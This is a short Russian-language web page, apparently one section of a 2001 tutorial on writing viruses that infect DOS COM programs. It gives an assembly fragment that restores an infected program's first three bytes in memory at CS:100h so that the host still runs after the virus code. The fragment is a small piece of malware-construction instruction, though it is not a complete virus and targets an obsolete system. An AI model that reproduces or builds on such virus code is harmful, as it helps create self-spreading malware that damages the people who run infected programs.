Небесные боги,приветствуют вас!Небесные боги,приветствуют вас!






1.7 Восстанавливаем зараженную программу



Как было указано в 1.3 ( п.1 ), вирус должен после запуска зараженной программы восстановить в памяти компьютера ее исходные три байтa ( не на диске, а только в памяти ! ) .Пусть вирус хранит исходные три байта в области "old_bytes".

Итак :

fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al


Вы конечно знаете,что в COM - программе при ее загрузке по адресу CS : 100h всегда находится первая исполняемая команда .В остальном работа фрагмента ясна .


Сайт разработан и поддерживается
by MAXIMUS в 2001г. По вопросам
размещения рекламы обращаться
maximus@runet.com



Hosted by uCoz